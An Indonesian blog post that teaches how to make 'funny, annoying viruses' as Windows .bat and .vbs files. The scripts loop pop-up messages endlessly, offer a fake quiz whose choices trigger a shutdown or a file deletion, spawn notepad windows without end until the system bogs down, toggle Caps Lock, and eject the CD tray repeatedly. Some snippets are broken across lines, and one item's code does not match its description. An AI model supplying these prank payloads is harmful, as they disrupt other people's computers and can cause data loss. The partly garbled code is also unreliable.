cara membuat virus lucu dan mengesalkan

assalammualaikum wr wb

artikel kali ini tentang cara membuat virus yang lucu bikin kesel smile
langsung saja simak :

1. Virus dengan sasaran buat orang jengkel karena muncul terus, sebenarnya bukan virus tapi hanya program yang sok-sok jadi virus smile

@ECHO off

:

Begin

msg * Haloo ?
msg * Lagi apa nih ?
msg * Weww ketahuan nih..
msg * Hayooo ngaku..
msg * Ye ye ketauan yeye ketahuan
msg * Aku matiin saja gimana
msg * Mau............................
GOTO BEGIN

simpan dengan berekstensi .bat contoh usil.bat


2. Membuat Virus Wants to Be A Milionaire

@echo

off title quiz wants to be a millionaire 

:menu

cls

echo jika kamu kena virus apa yang kamu lakukan?
pause
echo pilih yang mana? :
echo 1. Matikan Komputer
echo 2. Format Komputer
echo 3. Yahhhh...
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * Kurang Beruntung nih
msg * Kurang Iman kali biggrin
msg * Aduh ini gimana kok tambah parah
msg * Masukin ke UGD aja ya
msg * Telpon 311 saja ya
@ECHO off 
:top START %SystemRoot%
\system32\notepad.exe
GOTO top

Simpan dengan .bat contoh contoh = Kuis Wants to be a millionaire.bat

3. Membuka notepad terus-menerus

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top

Simpan dengan ektensi .bat

4. Shutdown sendiri dan kirim pesan otomatis

Set wshShell

=wscript.CreateObject

"WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"
loop

Simpan dengan .vbs

5. CD Room terbuka dan tertutup terus

Set oWMP = CreateObject

("WMPlayer.OCX.7")

Set colCDROMs =

oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpan dengan .vbs
 
oke smoga bermanfaat... jangan disalah gunakan

Artikel Terkait

cara membuat virus lucu dan mengesalkan
4/ 5
Oleh

Berlangganan

Suka dengan artikel di atas? Silakan berlangganan gratis via email